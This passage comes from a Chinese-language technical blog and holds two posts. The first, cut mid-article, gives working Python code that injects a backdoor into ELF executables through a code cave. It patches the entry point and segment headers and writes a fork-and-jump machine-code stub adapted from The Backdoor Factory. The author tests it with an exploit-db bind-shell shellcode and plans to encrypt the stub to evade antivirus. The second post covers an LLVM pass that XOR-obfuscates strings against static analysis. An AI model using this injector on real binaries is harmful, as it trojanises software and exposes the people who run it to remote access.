        logger</span>.</span>info</span>(</span>f</span>'</span>Writing code to 0x</span>{</span>code_foffset</span>:x</span>}</span>'</span>)</span></span>
        self</span>.</span>add_machine_code</span>(</span>code_foffset</span>,</span> b</span>'</span>'</span>.</span>join</span>(</span>raw</span>)</span>)</span></span></code></pre>
根据 ELF 信息，我们先寻找 ELF 文件中的 Cave。如果出现某个 LOAD Segment 的 'p_filesz' 和 'p_vaddr' 的和小于下一个 Segment 的 'p_vaddr'，那么很有可能在这个地方出现 Cave，通过遍历文件来验证这个 Segment 是否存在 Code Cave。</p>
def</span> verify_cave</span>(</span>self</span>,</span> start</span>:</span> int</span>,</span> len_</span>:</span> int</span>)</span> -></span> int</span>:</span></span>
    '''</span></span>
    Walking through file to verlify cave's size</span></span>
    '''</span></span>
    self</span>.</span>file</span>.</span>seek</span>(</span>start</span>)</span></span>
    count</span> =</span> 0</span></span>
    while</span> self</span>.</span>file</span>.</span>tell</span>(</span>)</span> <</span> start</span> +</span> len_</span>:</span></span>
        b</span> =</span> self</span>.</span>file</span>.</span>read</span>(</span>1</span>)</span></span>
        if</span> b</span> ==</span> b</span>'</span>\x00</span>'</span>:</span></span>
            count</span> +=</span> 1</span></span>
        else</span>:</span></span>
            break</span></span>
    return</span> count</span></span>
</span>
def</span> find_cave</span>(</span>self</span>,</span> need_size</span>:</span> int</span>)</span>:</span></span>
    '''</span></span>
    Find the cave in LOAD, exec segment</span></span>
    cave means segment's file size is smaller than alloc size</span></span>
    '''</span></span>
    load_segs</span> =</span> list</span>(</span>filter</span>(</span>lambda</span> x</span>:</span> x</span>[</span>'</span>p_type</span>'</span>]</span> ==</span> 1</span>,</span></span>
                            self</span>.</span>info</span>.</span>segments</span>)</span>)</span></span>
    if</span> len</span>(</span>load_segs</span>)</span> <=</span> 0</span>:</span></span>
        exit</span>(</span>1</span>)</span></span>
</span>
    cave_segs</span> =</span> [</span>]</span></span>
    for</span> i</span> in</span> range</span>(</span>len</span>(</span>load_segs</span>)</span> -</span> 1</span>)</span>:</span></span>
        c_seg</span> =</span> load_segs</span>[</span>i</span>]</span></span>
        n_seg</span> =</span> load_segs</span>[</span>i</span> +</span> 1</span>]</span></span>
        #</span> Not a LOAD segments</span></span>
        if</span> not</span> c_seg</span>[</span>'</span>p_flags</span>'</span>]</span> &</span> 1</span>:</span></span>
            continue</span></span>
</span>
        #</span> First verify</span></span>
        max_range</span> =</span> c_seg</span>[</span>'</span>p_filesz</span>'</span>]</span> +</span> c_seg</span>[</span>'</span>p_vaddr</span>'</span>]</span></span>
        if</span> max_range</span> >=</span> n_seg</span>[</span>'</span>p_vaddr</span>'</span>]</span>:</span></span>
            continue</span></span>
</span>
        real_size</span> =</span> self</span>.</span>verify_cave</span>(</span>c_seg</span>[</span>'</span>p_offset</span>'</span>]</span> +</span> c_seg</span>[</span>'</span>p_filesz</span>'</span>]</span>,</span></span>
                                     n_seg</span>[</span>'</span>p_vaddr</span>'</span>]</span> -</span> max_range</span>)</span></span>
        #</span> cave size is too small</span></span>
        if</span> real_size</span> <=</span> need_size</span>:</span></span>
            continue</span></span>
</span>
        logger</span>.</span>info</span>(</span>f</span>'</span>Found a </span>{</span>real_size</span>}</span> bytes cave</span>'</span>)</span></span>
        cave_segs</span>.</span>append</span>(</span>{</span>'</span>index</span>'</span>:</span> self</span>.</span>info</span>.</span>segments</span>.</span>index</span>(</span>c_seg</span>)</span>,</span></span>
                            '</span>cave_size</span>'</span>:</span> real_size</span>}</span>)</span></span>
    return</span> cave_segs</span></span></code></pre>
接下来就算 Patch 上 entry 和 Program Header，让辅助代码和后门得以载入内存并运行。Segment 的新 filesz 由 Segment 的旧 filesz + 注入代码长度</code> 得到。而程序的新入口点则是由 Segment 的虚拟地址 + Segment 的旧filesz</code> 得到。</p>
new_size</span> =</span> target</span>[</span>'</span>p_filesz</span>'</span>]</span> +</span> len</span>(</span>code</span>)</span></span>
logger</span>.</span>info</span>(</span>f</span>'</span>Writing file/mem size to 0x</span>{</span>new_size</span>:x</span>}</span>'</span>)</span></span>
self</span>.</span>extend_seg_size</span>(</span>target_idx</span>,</span> new_size</span>)</span></span>
</span>
code_va</span> =</span> target</span>[</span>'</span>p_vaddr</span>'</span>]</span> +</span> target</span>[</span>'</span>p_filesz</span>'</span>]</span></span>
logger</span>.</span>info</span>(</span>f</span>'</span>Writing entry to 0x</span>{</span>code_va</span>:x</span>}</span>'</span>)</span></span>
self</span>.</span>modify_entry</span>(</span>code_va</span>)</span></span>
</span>
def</span> extend_seg_size</span>(</span>self</span>,</span> seg_pos</span>:</span> int</span>,</span> new_size</span>:</span> int</span>)</span>:</span></span>
    '''</span></span>
    Patch segment to increase LOAD file size</span></span>
    '''</span></span>
    file_pos</span> =</span> self</span>.</span>info</span>.</span>header</span>[</span>'</span>e_phoff</span>'</span>]</span> +</span> \</span></span>
        seg_pos</span> *</span> self</span>.</span>info</span>.</span>header</span>[</span>'</span>e_phentsize</span>'</span>]</span></span>
    if</span> self</span>.</span>info</span>.</span>header</span>[</span>'</span>e_machine</span>'</span>]</span> ==</span> 62</span>:</span></span>
        file_pos</span> +=</span> 32</span></span>
    #</span> TODO</span>: abstract elf types to adapt more architectures</span></span>
    else</span>:</span></span>
        pass</span></span>
    self</span>.</span>file</span>.</span>seek</span>(</span>file_pos</span>)</span></span>
    #</span> TODO</span>: static pack size</span></span>
    self</span>.</span>file</span>.</span>write</span>(</span>pack</span>(</span>'</span><Q</span>'</span>,</span> new_size</span>)</span> *</span> 2</span>)</span></span>
</span>
def</span> modify_entry</span>(</span>self</span>,</span> new_entry</span>:</span> int</span>)</span>:</span></span>
    self</span>.</span>file</span>.</span>seek</span>(</span>24</span>)</span></span>
    self</span>.</span>file</span>.</span>write</span>(</span>pack</span>(</span>'</span><Q</span>'</span>,</span> new_entry</span>)</span>)</span></span></code></pre>
然后是往 Code Cave 处加入辅助代码和后门。后门代码的位置由 目标 Segment 的文件偏移 + 目标 Segment 的文件大小</code> 计算得到，辅助代码改动自 The backdoor factory。这里需要注意的是辅助代码的逻辑，首先是用 fork</code> 创建子进程，如果当前程序是子进程的话，则执行后门，如果当前程序不是子进程的话，就通过计算当前指令地址和原 entry 的距离，以跳转到原程序的 entry。</p>
raw</span> =</span> [</span>b</span>'</span>\x6a</span>\x39</span>'</span>,</span>                         #</span> push  0x39</span></span>
       b</span>'</span>\x58</span>'</span>,</span>                             #</span> pop   rax</span></span>
       b</span>'</span>\x0f</span>\x05</span>'</span>,</span>                         #</span> syscall</span></span>
       b</span>'</span>\x48</span>\x85</span>\xc0</span>'</span>,</span>                     #</span> test  rax, rax</span></span>
       b</span>'</span>\x74</span>\x12</span>'</span>,</span>                         #</span> jz    16</span></span>
       b</span>'</span>\xe8</span>\x00</span>\x00</span>\x00</span>\x00</span>'</span>,</span>             #</span> call  $+5</span></span>
       b</span>'</span>\x48</span>\x8b</span>\x2c</span>\x24</span>'</span>,</span>                 #</span> mov   rbp, [rsp]</span></span>
       b</span>'</span>\x48</span>\x81</span>\xed</span>\x00</span>\x00</span>\x00</span>\x00</span>'</span>,</span>     #</span> sub   rbp, offset</span></span>
       b</span>'</span>\xff</span>\xe5</span>'</span>,</span>                         #</span> jmp   rbp</span></span>
       inject_code</span>]</span>                         #</span> inject code</span></span>
code</span> =</span> b</span>'</span>'</span>.</span>join</span>(</span>raw</span>)</span></span>
code_foffset</span> =</span> target</span>[</span>'</span>p_offset</span>'</span>]</span> +</span> target</span>[</span>'</span>p_filesz</span>'</span>]</span></span>
entry_offset</span> =</span> code_va</span> +</span> \</span></span>
    len</span>(</span>b</span>'</span>'</span>.</span>join</span>(</span>raw</span>[</span>:</span>6</span>]</span>)</span>)</span> -</span> self</span>.</span>info</span>.</span>header</span>[</span>'</span>e_entry</span>'</span>]</span></span>
raw</span>[</span>7</span>]</span> =</span> raw</span>[</span>7</span>]</span>[</span>:</span>3</span>]</span> +</span> pack</span>(</span>'</span><I</span>'</span>,</span> entry_offset</span>)</span></span>
logger</span>.</span>info</span>(</span>f</span>'</span>entry_offset == </span>{</span>entry_offset</span>}</span>'</span>)</span></span>
logger</span>.</span>info</span>(</span>f</span>'</span>Writing code to 0x</span>{</span>code_foffset</span>:x</span>}</span>'</span>)</span></span>
self</span>.</span>add_machine_code</span>(</span>code_foffset</span>,</span> b</span>'</span>'</span>.</span>join</span>(</span>raw</span>)</span>)</span></span>
</span>
def</span> add_machine_code</span>(</span>self</span>,</span> pos</span>:</span> int</span>,</span> code</span>:</span> bytes</span>)</span>:</span></span>
    '''</span></span>
    Add code in the increased LOAD segments</span></span>
    '''</span></span>
    self</span>.</span>file</span>.</span>seek</span>(</span>pos</span>)</span></span>
    self</span>.</span>file</span>.</span>write</span>(</span>code</span>)</span></span></code></pre>实战</h2>
首先先准备个傀儡，使用 gcc test.c -o test.elf</code> 进行编译，由于辅助汇编代码对 The backdoor factory 进行了修改，所以位置无关代码也是可以 Patch 的。</p>
#</span>include</span> <</span>stdio.h</span>></span></span>
</span>
int</span> main</span>(</span>)</span></span>
{</span></span>
    printf</span>(</span>"</span>Hello, world!</span>\n</span>"</span>)</span>;</span></span>
    return</span> 0</span>;</span></span>
}</span></span></code></pre>
我使用了 https://www.exploit-db.com/shellcodes/41128</a> 的正向 Shell 代码，可以发现原程序正常运行，而后门代码也运行了。</p>
</p>
完整代码</h2>
由于代码太长了，所以我将代码放在了 Github</a> 上了。</p>
未完成工作</h2>
这个代码只是一个简单的 DEMO，想要扩展成可维护的软件的话，我个人有下面几个发展方向</p>

将 pack 和 unpack 进行封装，类似 pwntools。</li>
对 32 位 ELF 文件及其他架构 CPU 的支持可以由增加 ELF 信息来实现，例如在 ELF 信息中将字节序，每一种类型的长度，提取方法通过 ELF 信息类的成员来进行描述。</li>
本文只实现了当 Code Cave 存在时的后门植入，如果没有 Code Cave 时候需要扩展文件来实现后门植入。</li>
对辅助代码及后门代码进行改写，加密以实现绕过杀毒软件。</li>
使用还在维护的库对 ELF 进行 Patch，例如 LIEF。</li>
</ol>
refs</h2>
exploit database https://www.exploit-db.com</a></p>
The backdoor factoryhttps://github.com/secretsquirrel/the-backdoor-factory/</a></p>
UCLib 关于 ELF 格式的文档https://uclibc.org/docs/elf-64-gen.pdf</a></p>
看不进去英文可以配合 CSDN 这篇文章 https://blog.csdn.net/feglass/article/details/51469511</a></p>


使用 LLVM Pass 实现字符串加密
2020-01-01T00:00:00+00:00
这个项目可以作为我看了这么久 LLVM 的 Docs 助眠的一个小总结吧。这个项目主要就是给函数使用的常量字符串进行加密，在程序被静态分析的时候干扰分析。当然找到思路后，这个混淆还是很容易解开的。</p>

吐槽下，网上的文章质量参差不齐，写的让人不知所云的，真的恐怖。所以还是面向 Stackoverflow 和官方文档编程吧...</p>
</blockquote>
为了写 LLVM Pass ，首先得看看 LLVM Programmers' Manual</a>，里面讲了许多代码样例，API 讲解和类的层次结构。当然这只是基础，具体的使用得看使用 doxygen 生成的文档。</p>
当然也得对 LLVM IR 也得有一定了解 https://llvm.org/docs/LangRef.html</a></p>
Pass 思路概述</h2>
首先是找到字符串，其次是找到用这个字符串的函数，在这个函数被调用前，先调用解密函数进行解密。最后加密原本字符串。</p>
开发环境准备</h2>
编译环境请参考上一篇文章</a>，只是写个 Pass 而已，不要再从整个 LLVM 项目开始编译了好吗...</p>
这里使用的是 VSCode + WSL 搭建开发环境，在项目文件夹的 ".vscode/c_cpp_properties.json" 加上对应的 "includePath" 就有智能提示了。</p>
{</span></span>
    "</span>includePath</span>"</span>:</span> [</span></span>
        "</span>${workspaceFolder}/**</span>"</span>,</span></span>
        "</span>/usr/include/llvm-8</span>"</span>,</span></span>
        "</span>/usr/include/llvm-c-8</span>"</span></span>
    ]</span></span>
}</span></span></code></pre>
由于使用 CMake 来管理编译依赖，所以给 VSCode 加上 CMake 插件，可以实现小部分 CMake GUI 的功能。</p>
代码讲解</h2>
基本框架</h3>
首先是 include 的头文件，项目里用了 LLVM 自己的 SmallVector</code>，还有 IR 下面的 Function</code>, GlobalVariable</code>, IRBuilder</code>, Instructions</code>，还有些 Pass 必备的一些头文件，raw_ostream</code> 用来调试输出。</p>
#</span>include</span> "</span>llvm/ADT/SmallVector.h</span>"</span></span>
#</span>include</span> "</span>llvm/IR/Function.h</span>"</span></span>
#</span>include</span> "</span>llvm/IR/GlobalVariable.h</span>"</span></span>
#</span>include</span> "</span>llvm/IR/IRBuilder.h</span>"</span></span>
#</span>include</span> "</span>llvm/IR/InstrTypes.h</span>"</span></span>
#</span>include</span> "</span>llvm/IR/Instructions.h</span>"</span></span>
#</span>include</span> "</span>llvm/IR/LegacyPassManager.h</span>"</span></span>
#</span>include</span> "</span>llvm/Pass.h</span>"</span></span>
#</span>include</span> "</span>llvm/Support/FormatVariadic.h</span>"</span></span>
#</span>include</span> "</span>llvm/Support/raw_ostream.h</span>"</span></span>
#</span>include</span> "</span>llvm/Transforms/IPO/PassManagerBuilder.h</span>"</span></span>
#</span>include</span> <</span>map</span>></span></span>
#</span>include</span> <</span>vector</span>></span></span></code></pre>
然后是 LLVM Pass 的基本框架。这里实现的是 Module Pass，所以这个 Pass 继承于 ModulePass</code>。最后两行代码是用于注册 Pass，注册之后在 opt -load libpass.so -help</code> 就能找到这个 Pass 了。</p>
加密函数只用了简单的 xor 来进行加密。需要注意的是不要把字符串的最后一位 '\0' 给 xor 了。</p>
using</span> namespace</span> llvm</span>;</span></span>
</span>
namespace</span> {</span></span>
///</span> encrypt strings with xor.</span></span>
///</span> \param</span> s</span> input string for encrypt.</span></span>
void</span> encrypt</span>(</span>std</span>::</span>string</span> &</span>s</span>)</span> {</span></span>
  for</span> (</span>int</span> i </span>=</span> 0</span>;</span> i </span><</span> s</span>.</span>length</span>(</span>)</span> -</span> 1</span>;</span> i</span>++</span>)</span> {</span></span>
    s</span>[</span>i</span>]</span> ^=</span> 42</span>;</span></span>
  }</span></span>
}</span></span>
</span>
///</span> A pass for obfuscating const string in modules.</span></span>
struct</span> ObfuscatePass</span> :</span> public</span> ModulePass</span> {</span></span>
  static</span> char</span> ID</span>;</span></span>
  ObfuscatePass</span>(</span>)</span> :</span> ModulePass</span>(</span>ID</span>)</span> {</span>}</span></span>
</span>
  virtual</span> bool</span> runOnModule</span>(</span>Module</span> &</span>M</span>)</span> {</span></span>
    return</span> true</span>;</span></span>
  }</span></span>
}</span>;</span></span>
}</span> //</span> namespace</span></span>
</span>
char</span> ObfuscatePass</span>::</span>ID </span>=</span> 0</span>;</span></span>
static</span> RegisterPass</span><</span>ObfuscatePass</span>></span> X</span>(</span>"</span>obfstr</span>"</span>,</span> "</span>obfuscate string</span>"</span>)</span>;</span></span></code></pre>runOnModule</code> 函数</h3>
然后开始讲解具体的代码。下面的代码是在寻找全局变量，并且找到他的使用者。</p>
首先通过 GlobalVariable GVar->users()</code> 来找到使用者。如果使用者不是单独的指令，而是类似 i8* getelementptr ...</code> 这样的语句，则寻找这个语句的使用者。如果发现这个语句只有 CallInst</code> 类型的使用者，则对字符串进行加密，并去除对应字符串的常量属性。</p>
  virtual</span> bool</span> runOnModule</span>(</span>Module</span> &</span>M</span>)</span> {</span></span>
    for</span> (</span>GlobalValue </span>&</span>GV </span>:</span> M</span>.</span>globals</span>(</span>)</span>)</span> {</span></span>
      GlobalVariable </span>*</span>GVar </span>=</span> dyn_cast</span><</span>GlobalVariable</span>></span>(</span>&</span>GV</span>)</span>;</span></span>
      if</span> (</span>GVar </span>==</span> nullptr</span>)</span> {</span></span>
        continue</span>;</span></span>
      }</span></span>
      std</span>::</span>vector</span><</span>std</span>::</span>pair</span><</span>Instruction </span>*</span>,</span> User </span>*</span>>></span> Target</span>;</span></span>
      bool</span> hasExceptCallInst </span>=</span> false</span>;</span></span>
      //</span> Find all user and encrypt const value, then insert decrypt function.</span></span>
      for</span> (</span>User </span>*</span>Usr </span>:</span> GVar</span>-></span>users</span>(</span>)</span>)</span> {</span></span>
        //</span> Get instruction.</span></span>
        Instruction </span>*</span>Inst </span>=</span> dyn_cast</span><</span>Instruction</span>></span>(</span>Usr</span>)</span>;</span></span>
        if</span> (</span>Inst </span>==</span> nullptr</span>)</span> {</span></span>
          //</span> If Usr is not an instruction, like i8* getelementptr...</span></span>
          //</span> Dig deeper to find Instruction.</span></span>
          for</span> (</span>User </span>*</span>DirecUsr </span>:</span> Usr</span>-></span>users</span>(</span>)</span>)</span> {</span></span>
            Inst </span>=</span> dyn_cast</span><</span>Instruction</span>></span>(</span>DirecUsr</span>)</span>;</span></span>
            if</span> (</span>Inst </span>==</span> nullptr</span>)</span> {</span></span>
              continue</span>;</span></span>
            }</span></span>
            if</span> (</span>!</span>isa</span><</span>CallInst</span>></span>(</span>Inst</span>)</span>)</span> {</span></span>
              hasExceptCallInst </span>=</span> true</span>;</span></span>
              Target</span>.</span>clear</span>(</span>)</span>;</span></span>
            }</span> else</span> {</span></span>
              Target</span>.</span>emplace_back</span>(</span>std</span>::</span>pair</span><</span>Instruction</span> *</span>,</span> User</span> *</span>></span>(</span>Inst</span>,</span> Usr</span>)</span>)</span>;</span></span>
            }</span></span>
          }</span></span>
        }</span></span>
      }</span></span>
      if</span> (</span>hasExceptCallInst </span>==</span> false</span> &&</span> Target</span>.</span>size</span>(</span>)</span> ==</span> 1</span>)</span> {</span></span>
        for</span> (</span>auto</span> &</span>T</span>:</span> Target</span>)</span> {</span></span>
          obfuscateString</span>(</span>M</span>,</span> T</span>.</span>first</span>,</span> T</span>.</span>second</span>,</span> GVar</span>)</span>;</span></span>
        }</span></span>
        //</span> Change constant to variable.</span></span>
        GVar</span>-></span>setConstant</span>(</span>false</span>)</span>;</span></span>
      }</span></span>
    }</span></span>
    return</span> true</span>;</span></span>
  }</span></span></code></pre>obfuscateString</code> 函数</h3>
函数中主要分为下面三个部分</p>

替换字符串为加密字符串</li>
创建函数声明</li>
创建调用指令</li>
</ol>
下面是加密字符串常量的语句，这里先将常量转换成 ConstantDataArray</code>，用 getAsString()</code> 提取字符串，最后用加密后的字符串创建 Constant</code> 替换原来字符串。</p>
//</span> Encrypt origin string and replace it encrypted string.</span></span>
ConstantDataArray </span>*</span>GVarArr </span>=</span></span>
    dyn_cast</span><</span>ConstantDataArray</span>></span>(</span>GVar</span>-></span>getInitializer</span>(</span>)</span>)</span>;</span></span>
if</span> (</span>GVarArr </span>==</span> nullptr</span>)</span> {</span></span>
    continue</span>;</span></span>
}</span></span>
std</span>::</span>string Origin</span>;</span></span>
if</span> (</span>GVarArr</span>-></span>isString</span>(</span>8</span>)</span>)</span> {</span></span>
    Origin </span>=</span> GVarArr</span>-></span>getAsString</span>(</span>)</span>.</span>str</span>(</span>)</span>;</span></span>
}</span> else</span> if</span> (</span>GVarArr</span>-></span>isCString</span>(</span>)</span>)</span> {</span></span>
    Origin </span>=</span> GVarArr</span>-></span>getAsCString</span>(</span>)</span>.</span>str</span>(</span>)</span>;</span></span>
}</span></span>
encrypt</span>(</span>Origin</span>)</span>;</span></span>
Constant </span>*</span>NewConstStr </span>=</span> ConstantDataArray</span>::</span>getString</span>(</span></span>
    GVarArr</span>-></span>getContext</span>(</span>)</span>,</span> StringRef</span>(</span>Origin</span>)</span>,</span> false</span>)</span>;</span></span>
GVarArr</span>-></span>replaceAllUsesWith</span>(</span>NewConstStr</span>)</span>;</span></span></code></pre>
然后是使用 IRBuilder</code> 创建相关语句和函数调用。首先通过 getOrInsertFunction</code> 插入或获取函数，然后使用 builder.CreateCall();</code> 语句创建调用解密和加密函数的指令。</p>
由于调用顺序是 解密字符串函数 -> 使用字符串函数 -> 加密字符串函数，加密函数得插入使用指令的后方，而不是和 IRBuilder</code> 创建的指令一样待在使用指令的前方。所以这里不使用 IRBuilder</code> 创建指令，而是手动创建指令 + 手动插入。</p>
//</span> Insert decrypt function above Inst with IRBuilder.</span></span>
IRBuilder</span><</span>></span> builder</span>(</span>Inst</span>)</span>;</span></span>
Type </span>*</span>Int8PtrTy </span>=</span> builder</span>.</span>getInt8PtrTy</span>(</span>)</span>;</span></span>
//</span> Create decrypt function in GlobalValue / Get decrypt function.</span></span>
SmallVector</span><</span>Type </span>*</span>,</span> 1</span>></span> FuncArgs </span>=</span> {</span>Int8PtrTy</span>}</span>;</span></span>
FunctionType </span>*</span>FuncType </span>=</span> FunctionType</span>::</span>get</span>(</span>Int8PtrTy</span>,</span> FuncArgs</span>,</span> false</span>)</span>;</span></span>
Constant </span>*</span>DecryptFunc </span>=</span> M</span>.</span>getOrInsertFunction</span>(</span>"</span>__decrypt</span>"</span>,</span> FuncType</span>)</span>;</span></span>
Constant </span>*</span>EncryptFunc </span>=</span> M</span>.</span>getOrInsertFunction</span>(</span>"</span>__encrypt</span>"</span>,</span> FuncType</span>)</span>;</span></span>
//</span> Create call instrucions.</span></span>
SmallVector</span><</span>Value </span>*</span>,</span> 1</span>></span> CallArgs </span>=</span> {</span>Usr</span>}</span>;</span></span>
CallInst </span>*</span>DecryptInst </span>=</span> builder</span>.</span>CreateCall</span>(</span>FuncType</span>,</span> DecryptFunc</span>,</span> CallArgs</span>)</span>;</span></span>
CallInst </span>*</span>EncryptInst </span>=</span> CallInst</span>::</span>Create</span>(</span>FuncType</span>,</span> EncryptFunc</span>,</span> CallArgs</span>)</span>;</span></span>
EncryptInst</span>-></span>insertAfter</span>(</span>Inst</span>)</span>;</span></span></code></pre>__encrypt</code> 和 __decrypt</code> 函数</h3>
由于只是 xor，所以函数的代码很相似。</p>
char</span> *</span>__decrypt</span>(</span>char</span> *</span>encStr</span>)</span> {</span></span>
  char</span> *</span>curr </span>=</span> encStr</span>;</span></span>
  while</span> (</span>*</span>curr</span>)</span> {</span></span>
    *</span>curr </span>^=</span> 42</span>;</span></span>
    curr</span>++</span>;</span></span>
  }</span></span>
  return</span> encStr</span>;</span></span>
}</span></span>
</span>
char</span> *</span>__encrypt</span>(</span>char</span> *</span>originStr</span>)</span> {</span></span>
  char</span> *</span>curr </span>=</span> originStr</span>;</span></span>
  while</span> (</span>*</span>curr</span>)</span> {</span></span>
    *</span>curr </span>^=</span> 42</span>;</span></span>
    curr</span>++</span>;</span></span>
  }</span></span>
  return</span> originStr</span>;</span></span>
}</span></span></code></pre>Pass 的简单使用</h2>
首先将需要加密的文件和含有加密函数的文件编译成后缀为 .ll</code> 的 LLVM IR 形式，然后使用 opt</code> 来对需要加密的文件进行加密，最后则是将含有加密函数的文件和需要加密的文件进行链接，生成二进制文件。</p>
将下面的脚本保存为 "run.sh" 后，就可以使用 bash run.sh test.c</code> 来编译程序了。</p>
fullname</span>=</span>$</span>{</span>1</span>}</span></span>
basename</span>=</span>$</span>{</span>fullname</span>/</span>.</span>c</span>/</span>}</span></span>
clang-8</span> -</span>emit-llvm</span> -</span>S</span> $</span>{</span>fullname</span>}</span> -</span>o</span> $</span>{</span>basename</span>}</span>.ll</span></span>
clang-8</span> -</span>emit-llvm</span> -</span>S</span> encrypt.c</span> -</span>o</span> encrypt.ll</span></span>
opt-8</span> -</span>p</span> \</span></span>
    -</span>load</span> ../build/obfuscate/libobfuscate.so</span> \</span></span>
    -</span>obfstr</span> $</span>{</span>basename</span>}</span>.ll</span> \</span></span>
    -</span>o</span> $</span>{</span>basename</span>}</span>_out.bc</span></span>
llvm-link-8</span> encrypt.ll</span> $</span>{</span>basename</span>}</span>_out.bc</span> -</span>o</span> final.bc</span></span>
clang-8</span> final.bc</span> -</span>o</span> final.out</span></span></code></pre>混淆效果</h2>
下面是测试程序的代码。</p>
#</span>include</span> <</span>stdio.h</span>></span></span>
</span>
int</span> main</span>(</span>)</span> {</span></span>
  puts</span>(</span>"</span>This is a testing string!</span>"</span>)</span>;</span></span>
  char</span> ch</span>;</span></span>
  if</span> (</span>(</span>ch </span>=</span> getchar</span>(</span>)</span>)</span> ==</span> '</span>6</span>'</span>)</span> {</span></span>
    printf</span>(</span>"</span>6666</span>%c</span>\n</span>"</span>,</span> ch</span>)</span>;</span></span>
  }</span> else</span> {</span></span>
    printf</span>(</span>"</span>WTF?!</span>\n</span>"</span>)</span>;</span></span>
  }</span></span>
  return</span> 0</span>;</span></span>
}</span></span></code></pre>
下面是使用 clang-8 -emit-llvm -S test.c -o test.ll</code> 直接编译出的 IR。</p>
@.str</span> = </span>private</span> unnamed_addr</span> constant</span> [</span>26</span> x </span>i8</span>] </span>c</span>"</span>This is a testing string!\00</span>"</span>, </span>align</span> 1</span></span>
@.str.1</span> = </span>private</span> unnamed_addr</span> constant</span> [</span>8</span> x </span>i8</span>] </span>c</span>"</span>6666%c\0A\00</span>"</span>, </span>align</span> 1</span></span>
@.str.2</span> = </span>private</span> unnamed_addr</span> constant</span> [</span>7</span> x </span>i8</span>] </span>c</span>"</span>WTF?!\0A\00</span>"</span>, </span>align</span> 1</span></span>
</span>
; Function Attrs: noinline nounwind optnone uwtable</span></span>
define</span> dso_local</span> i32</span> @main</span>() #</span>0</span> {</span></span>
  %1</span> = </span>alloca</span> i32</span>, </span>align</span> 4</span></span>
  %2</span> = </span>alloca</span> i8</span>, </span>align</span> 1</span></span>
  store</span> i32</span> 0</span>, </span>i32*</span> %1</span>, </span>align</span> 4</span></span>
  %3</span> = </span>call</span> i32</span> @puts</span>(</span>i8*</span> getelementptr</span> inbounds</span> ([</span>26</span> x </span>i8</span>], [</span>26</span> x </span>i8</span>]* </span>@.str</span>, </span>i32</span> 0</span>, </span>i32</span> 0</span>))</span></span>
  %4</span> = </span>call</span> i32</span> @getchar</span>()</span></span>
  %5</span> = </span>trunc</span> i32</span> %4</span> to</span> i8</span></span>
  store</span> i8</span> %5</span>, </span>i8*</span> %2</span>, </span>align</span> 1</span></span>
  %6</span> = </span>sext</span> i8</span> %5</span> to</span> i32</span></span>
  %7</span> = </span>icmp</span> eq</span> i32</span> %6</span>, </span>54</span></span>
  br</span> i1</span> %7</span>, </span>label</span> %8</span>, </span>label</span> %12</span></span>
</span>
; <label>:8:                                      ; preds = %0</span></span>
  %9</span> = </span>load</span> i8</span>, </span>i8*</span> %2</span>, </span>align</span> 1</span></span>
  %10</span> = </span>sext</span> i8</span> %9</span> to</span> i32</span></span>
  %11</span> = </span>call</span> i32</span> (</span>i8*</span>, ...) </span>@printf</span>(</span>i8*</span> getelementptr</span> inbounds</span> ([</span>8</span> x </span>i8</span>], [</span>8</span> x </span>i8</span>]* </span>@.str.1</span>, </span>i32</span> 0</span>, </span>i32</span> 0</span>), </span>i32</span> %10</span>)</span></span>
  br</span> label</span> %14</span></span>
</span>
; <label>:12:                                     ; preds = %0</span></span>
  %13</span> = </span>call</span> i32</span> (</span>i8*</span>, ...) </span>@printf</span>(</span>i8*</span> getelementptr</span> inbounds</span> ([</span>7</span> x </span>i8</span>], [</span>7</span> x </span>i8</span>]* </span>@.str.2</span>, </span>i32</span> 0</span>, </span>i32</span> 0</span>))</span></span>
  br</span> label</span> %14</span></span>
</span>
; <label>:14:                                     ; preds = %12, %8</span></span>
  ret</span> i32</span> 0</span></span>
}</span></span></code></pre>
下面是使用 opt-8 -p -load ../build/obfuscate/libobfuscate.so -obfstr test.ll -o test.bc</code> 调用 Pass 得到的混淆过的 IR，可以发现字符串已经被混淆成功了。</p>
@.str</span> = </span>private</span> unnamed_addr</span> global</span> [</span>26</span> x </span>i8</span>] </span>c</span>"</span>~BCY\0ACY\0AK\0A^OY^CDM\0AY^XCDM\0B\00</span>"</span>, </span>align</span> 1</span></span>
@.str.1</span> = </span>private</span> unnamed_addr</span> global</span> [</span>8</span> x </span>i8</span>] </span>c</span>"</span>\1C\1C\1C\1C\0FI \00</span>"</span>, </span>align</span> 1</span></span>
@.str.2</span> = </span>private</span> unnamed_addr</span> global</span> [</span>7</span> x </span>i8</span>] </span>c</span>"</span>}~l\15\0B \00</span>"</span>, </span>align</span> 1</span></span>
</span>
; Function Attrs: noinline nounwind optnone uwtable</span></span>
define</span> dso_local</span> i32</span> @main</span>() #</span>0</span> {</span></span>
  %1</span> = </span>alloca</span> i32</span>, </span>align</span> 4</span></span>
  %2</span> = </span>alloca</span> i8</span>, </span>align</span> 1</span></span>
  store</span> i32</span> 0</span>, </span>i32*</span> %1</span>, </span>align</span> 4</span></span>
  %3</span> = </span>call</span> i8*</span> @__decrypt</span>(</span>i8*</span> getelementptr</span> inbounds</span> ([</span>26</span> x </span>i8</span>], [</span>26</span> x </span>i8</span>]* </span>@.str</span>, </span>i32</span> 0</span>, </span>i32</span> 0</span>))</span></span>
  %4</span> = </span>call</span> i32</span> @puts</span>(</span>i8*</span> getelementptr</span> inbounds</span> ([</span>26</span> x </span>i8</span>], [</span>26</span> x </span>i8</span>]* </span>@.str</span>, </span>i32</span> 0</span>, </span>i32</span> 0</span>))</span></span>
  %5</span> = </span>call</span> i8*</span> @__encrypt</span>(</span>i8*</span> getelementptr</span> inbounds</span> ([</span>26</span> x </span>i8</span>], [</span>26</span> x </span>i8</span>]* </span>@.str</span>, </span>i32</span> 0</span>, </span>i32</span> 0</span>))</span></span>
  %6</span> = </span>call</span> i32</span> @getchar</span>()</span></span>
  %7</span> = </span>trunc</span> i32</span> %6</span> to</span> i8</span></span>
  store</span> i8</span> %7</span>, </span>i8*</span> %2</span>, </span>align</span> 1</span></span>
  %8</span> = </span>sext</span> i8</span> %7</span> to</span> i32</span></span>
  %9</span> = </span>icmp</span> eq</span> i32</span> %8</span>, </span>54</span></span>
  br</span> i1</span> %9</span>, </span>label</span> %10</span>, </span>label</span> %16</span></span>
</span>
; <label>:10:                                     ; preds = %0</span></span>
  %11</span> = </span>load</span> i8</span>, </span>i8*</span> %2</span>, </span>align</span> 1</span></span>
  %12</span> = </span>sext</span> i8</span> %11</span> to</span> i32</span></span>
